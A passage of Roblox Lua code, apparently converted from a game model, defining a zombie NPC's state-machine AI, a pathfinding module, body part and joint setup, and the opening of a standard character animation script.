then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) -- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end -- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart") local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.HumanoidRootPart.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI end)) ModuleScript108.Name = "ROBLOX_PathfindingLibrary" ModuleScript108.Parent = Configuration102 table.insert(cors,sandbox(ModuleScript108,function() local PathfindingUtility = {} local TargetOffsetMax = 10--5 local JumpThreshold = 1.5 --2.5 local NextPointThreshold = 4 local PathfindingService = game:GetService("PathfindingService") PathfindingService.EmptyCutoff = .3 function PathfindingUtility.new() local this = {} local currentTargetPos = nil local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge) local path = nil local currentPointIndex = 1 function this:MoveToTarget(character, target) local targetOffset = (lastTargetPos - target).magnitude -- -- local targetOffsetVector = (lastTargetPos - target) -- if targetOffsetVector.magnitude < math.huge then -- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1) -- end if targetOffset > TargetOffsetMax then --if targetOffsetVector.magnitude > TargetOffsetMax then --print("moveto") local startPoint = character.HumanoidRootPart.Position local humanoidState = character.Humanoid:GetState() if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then --print("this") local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPart then startPoint = hitPoint end end --print("making new path") local newTarget = target local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0)) local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character) if hitPoint then if (hitPoint - target).magnitude > 4 then newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0) end end --local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0) path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500) if path.Status ~= Enum.PathStatus.Success then --print(tostring(path.Status)) end --path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500) -- game.Workspace.Points:ClearAllChildren() -- local ps = path:GetPointCoordinates() -- for _, point in pairs(ps) do -- local part = Instance.new("Part", game.Workspace.Points) -- part.CanCollide = false -- part.Anchored = true -- part.FormFactor = Enum.FormFactor.Custom -- part.Size = Vector3.new(1,1,1) -- part.Position = point -- end currentPointIndex = 1 lastTargetPos = target end if path then local points = path:GetPointCoordinates() if currentPointIndex < #points then local currentPoint = points[currentPointIndex] local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude if distance < NextPointThreshold then currentPointIndex = currentPointIndex + 1 end character.Humanoid:MoveTo(points[currentPointIndex]) if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then character.Humanoid.Jump = true end else character.Humanoid:MoveTo(target) end end end return this end return PathfindingUtility end)) Configuration109.Name = "Configurations" Configuration109.Parent = Model63 IntValue110.Name = "Damage" IntValue110.Parent = Configuration109 IntValue110.Value = 30 BoolValue111.Name = "Debug" BoolValue111.Parent = Configuration109 IntValue112.Name = "FieldOfView" IntValue112.Parent = Configuration109 IntValue112.Value = 180 IntValue113.Name = "AggroRange" IntValue113.Parent = Configuration109 IntValue113.Value = 200 Configuration114.Name = "Animations" Configuration114.Parent = Model63 Animation115.Name = "Attack" Animation115.Parent = Configuration114 Animation115.AnimationId = "http://www.roblox.com/asset/?id=180416148" Animation116.Name = "Arms" Animation116.Parent = Configuration114 Animation116.AnimationId = "http://www.roblox.com/asset/?id=183294396" CharacterMesh117.Name = "Zombie Left Arm" CharacterMesh117.Parent = Model63 CharacterMesh117.BodyPart = Enum.BodyPart.LeftArm CharacterMesh117.MeshId = 37683097 CharacterMesh117.OverlayTextureId = 37686282 CharacterMesh118.Name = "Zombie Left Leg" CharacterMesh118.Parent = Model63 CharacterMesh118.BodyPart = Enum.BodyPart.LeftLeg CharacterMesh118.MeshId = 37683150 CharacterMesh118.OverlayTextureId = 37687646 CharacterMesh119.Name = "Zombie Right Arm" CharacterMesh119.Parent = Model63 CharacterMesh119.BodyPart = Enum.BodyPart.RightArm CharacterMesh119.MeshId = 37683174 CharacterMesh119.OverlayTextureId = 37686282 CharacterMesh120.Name = "Zombie Right Leg" CharacterMesh120.Parent = Model63 CharacterMesh120.BodyPart = Enum.BodyPart.RightLeg CharacterMesh120.MeshId = 37683227 CharacterMesh120.OverlayTextureId = 37687646 CharacterMesh121.Name = "Zombie torso" CharacterMesh121.Parent = Model63 CharacterMesh121.BodyPart = Enum.BodyPart.Torso CharacterMesh121.MeshId = 37683263 CharacterMesh121.OverlayTextureId = 37686282 Sound122.Name = "Moan" Sound122.Parent = Model63 Sound122.Pitch = 0.15000000596046 Sound122.PlaybackSpeed = 0.15000000596046 Sound122.Volume = 0.050000000745058 BodyColors123.Parent = Model63 BodyColors123.HeadColor = BrickColor.new("Camo") BodyColors123.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529) BodyColors123.LeftArmColor = BrickColor.new("Earth green") BodyColors123.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors123.LeftLegColor = BrickColor.new("Earth green") BodyColors123.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors123.RightArmColor = BrickColor.new("Earth green") BodyColors123.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors123.RightLegColor = BrickColor.new("Earth green") BodyColors123.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471) BodyColors123.TorsoColor = BrickColor.new("Earth green") BodyColors123.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471) Model124.Name = "Drooling Zombie" Model124.Parent = Model1 Part125.Name = "HumanoidRootPart" Part125.Parent = Model124 Part125.CFrame = CFrame.new(138.5, 2.99999332, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0) Part125.Orientation = Vector3.new(0, -90, 0) Part125.Position = Vector3.new(138.5, 2.99999332, -80) Part125.Rotation = Vector3.new(0, -90, 0) Part125.Color = Color3.new(0.152941, 0.27451, 0.176471) Part125.Transparency = 1 Part125.Size = Vector3.new(2, 2, 1) Part125.BottomSurface = Enum.SurfaceType.Smooth Part125.BrickColor = BrickColor.new("Earth green") Part125.Material = Enum.Material.WoodPlanks Part125.TopSurface = Enum.SurfaceType.Smooth Part125.brickColor = BrickColor.new("Earth green") Part125.FormFactor = Enum.FormFactor.Symmetric Part125.formFactor = Enum.FormFactor.Symmetric Motor6D126.Name = "Root Hip" Motor6D126.Parent = Part125 Motor6D126.MaxVelocity = 0.10000000149012 Motor6D126.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D126.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D126.Part0 = Part125 Motor6D126.Part1 = Part128 Motor6D126.part1 = Part128 BodyForce127.Name = "RepulsionForce" BodyForce127.Parent = Part125 BodyForce127.Force = Vector3.new(0, 0, 0) BodyForce127.force = Vector3.new(0, 0, 0) Part128.Name = "Torso" Part128.Parent = Model124 Part128.CFrame = CFrame.new(138.5, 2.99999332, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0) Part128.Orientation = Vector3.new(0, -90, 0) Part128.Position = Vector3.new(138.5, 2.99999332, -80) Part128.Rotation = Vector3.new(0, -90, 0) Part128.Color = Color3.new(0.156863, 0.498039, 0.278431) Part128.Size = Vector3.new(2, 2, 1) Part128.BottomSurface = Enum.SurfaceType.Smooth Part128.BrickColor = BrickColor.new("Dark green") Part128.Material = Enum.Material.WoodPlanks Part128.TopSurface = Enum.SurfaceType.Smooth Part128.brickColor = BrickColor.new("Dark green") Part128.FormFactor = Enum.FormFactor.Symmetric Part128.formFactor = Enum.FormFactor.Symmetric Motor6D129.Name = "Left Hip" Motor6D129.Parent = Part128 Motor6D129.MaxVelocity = 0.10000000149012 Motor6D129.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D129.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D129.Part0 = Part128 Motor6D129.Part1 = Part134 Motor6D129.part1 = Part134 Motor6D130.Name = "Right Hip" Motor6D130.Parent = Part128 Motor6D130.MaxVelocity = 0.10000000149012 Motor6D130.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D130.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D130.Part0 = Part128 Motor6D130.Part1 = Part135 Motor6D130.part1 = Part135 Motor6D131.Name = "Left Shoulder" Motor6D131.Parent = Part128 Motor6D131.MaxVelocity = 0.10000000149012 Motor6D131.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D131.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D131.Part0 = Part128 Motor6D131.Part1 = Part136 Motor6D131.part1 = Part136 Motor6D132.Name = "Right Shoulder" Motor6D132.Parent = Part128 Motor6D132.MaxVelocity = 0.10000000149012 Motor6D132.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D132.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D132.Part0 = Part128 Motor6D132.Part1 = Part137 Motor6D132.part1 = Part137 Motor6D133.Name = "Neck" Motor6D133.Parent = Part128 Motor6D133.MaxVelocity = 0.10000000149012 Motor6D133.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D133.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D133.Part0 = Part128 Motor6D133.Part1 = Part138 Motor6D133.part1 = Part138 Part134.Name = "Left Leg" Part134.Parent = Model124 Part134.CFrame = CFrame.new(138.5, 0.999997735, -80.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0) Part134.Orientation = Vector3.new(0, -90, 0) Part134.Position = Vector3.new(138.5, 0.999997735, -80.5) Part134.Rotation = Vector3.new(0, -90, 0) Part134.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part134.Size = Vector3.new(1, 2, 1) Part134.BottomSurface = Enum.SurfaceType.Smooth Part134.BrickColor = BrickColor.new("Bright blue") Part134.CanCollide = false Part134.Material = Enum.Material.WoodPlanks Part134.TopSurface = Enum.SurfaceType.Smooth Part134.brickColor = BrickColor.new("Bright blue") Part134.FormFactor = Enum.FormFactor.Symmetric Part134.formFactor = Enum.FormFactor.Symmetric Part135.Name = "Right Leg" Part135.Parent = Model124 Part135.CFrame = CFrame.new(138.5, 0.999997735, -79.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0) Part135.Orientation = Vector3.new(0, -90, 0) Part135.Position = Vector3.new(138.5, 0.999997735, -79.5) Part135.Rotation = Vector3.new(0, -90, 0) Part135.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part135.Size = Vector3.new(1, 2, 1) Part135.BottomSurface = Enum.SurfaceType.Smooth Part135.BrickColor = BrickColor.new("Bright blue") Part135.CanCollide = false Part135.Material = Enum.Material.WoodPlanks Part135.TopSurface = Enum.SurfaceType.Smooth Part135.brickColor = BrickColor.new("Bright blue") Part135.FormFactor = Enum.FormFactor.Symmetric Part135.formFactor = Enum.FormFactor.Symmetric Part136.Name = "Left Arm" Part136.Parent = Model124 Part136.CFrame = CFrame.new(138.5, 2.99999332, -81.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0) Part136.Orientation = Vector3.new(0, -90, 0) Part136.Position = Vector3.new(138.5, 2.99999332, -81.5) Part136.Rotation = Vector3.new(0, -90, 0) Part136.Color = Color3.new(0.992157, 0.917647, 0.552941) Part136.Size = Vector3.new(1, 2, 1) Part136.BottomSurface = Enum.SurfaceType.Smooth Part136.BrickColor = BrickColor.new("Cool yellow") Part136.CanCollide = false Part136.Material = Enum.Material.WoodPlanks Part136.TopSurface = Enum.SurfaceType.Smooth Part136.brickColor = BrickColor.new("Cool yellow") Part136.FormFactor = Enum.FormFactor.Symmetric Part136.formFactor = Enum.FormFactor.Symmetric Part137.Name = "Right Arm" Part137.Parent = Model124 Part137.CFrame = CFrame.new(138.5, 2.99999332, -78.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0) Part137.Orientation = Vector3.new(0, -90, 0) Part137.Position = Vector3.new(138.5, 2.99999332, -78.5) Part137.Rotation = Vector3.new(0, -90, 0) Part137.Color = Color3.new(0.992157, 0.917647, 0.552941) Part137.Size = Vector3.new(1, 2, 1) Part137.BottomSurface = Enum.SurfaceType.Smooth Part137.BrickColor = BrickColor.new("Cool yellow") Part137.CanCollide = false Part137.Material = Enum.Material.WoodPlanks Part137.TopSurface = Enum.SurfaceType.Smooth Part137.brickColor = BrickColor.new("Cool yellow") Part137.FormFactor = Enum.FormFactor.Symmetric Part137.formFactor = Enum.FormFactor.Symmetric Part138.Name = "Head" Part138.Parent = Model124 Part138.CFrame = CFrame.new(138.5, 4.49998999, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0) Part138.Orientation = Vector3.new(0, -90, 0) Part138.Position = Vector3.new(138.5, 4.49998999, -80) Part138.Rotation = Vector3.new(0, -90, 0) Part138.Color = Color3.new(0.992157, 0.917647, 0.552941) Part138.Size = Vector3.new(2, 1, 1) Part138.BottomSurface = Enum.SurfaceType.Smooth Part138.BrickColor = BrickColor.new("Cool yellow") Part138.Material = Enum.Material.WoodPlanks Part138.TopSurface = Enum.SurfaceType.Smooth Part138.brickColor = BrickColor.new("Cool yellow") Part138.FormFactor = Enum.FormFactor.Symmetric Part138.formFactor = Enum.FormFactor.Symmetric Decal139.Name = "Face" Decal139.Parent = Part138 Decal139.Texture = "http://www.roblox.com/asset/?id=7074882" SpecialMesh140.Parent = Part138 SpecialMesh140.Scale = Vector3.new(1.25, 1.25, 1.25) Humanoid141.Parent = Model124 Humanoid141.LeftLeg = Part134 Humanoid141.RightLeg = Part135 Humanoid141.Torso = Part125 Humanoid141.WalkSpeed = 10 Script142.Name = "Animate" Script142.Parent = Model124 table.insert(cors,sandbox(Script142,function() function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 }, { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } -- { id = "slash.xml", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end -- Setup animation objects function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end -- ANIMATION -- declarations local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3 local jumpMaxLimbVelocity = 0.75 -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopAllAnimations() local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end -- Preload animations function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil) if (animName ~= currentAnim and not idleFromEmote) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- local toolAnimName = "" local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the 